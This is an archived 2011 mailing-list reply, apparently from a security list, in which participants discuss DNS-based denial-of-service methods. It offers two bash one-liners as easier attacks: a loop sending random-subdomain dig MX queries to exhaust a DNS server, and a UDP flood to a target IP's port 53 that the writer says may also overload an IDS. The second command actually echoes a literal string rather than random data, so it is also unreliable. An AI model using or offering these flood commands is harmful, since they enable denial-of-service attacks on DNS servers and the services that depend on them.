Re: New DDoS attack vector

[Balder <balder.theglorious () googlemail com>]

On 20 May 2011 13:35, Kristian Erik Hermansen
<kristian.hermansen () gmail com> wrote:
> On Fri, May 20, 2011 at 4:29 AM, Balder
> <balder.theglorious () googlemail com> wrote:
> >  * Why go to all this trouble when you could just do something like
> > the following (replacing dig with something faster)
> >    - while true ; do dig $(</dev/urandom tr -dc A-Za-z0-9 | head -c
> > 10 ).example.com MX  ; done
>
> dnsperf is what you really want ;)
even the following if if there is no IDS and if there is you would
probably have just as much chance of overloading its state table then
the dns server

while true ; do  echo /dev/urandom > /dev/udp/target_IP_address/53 ; done


thanks to /dev/random
http://blog.rootshell.be/2011/05/05/binbash-phone-home/

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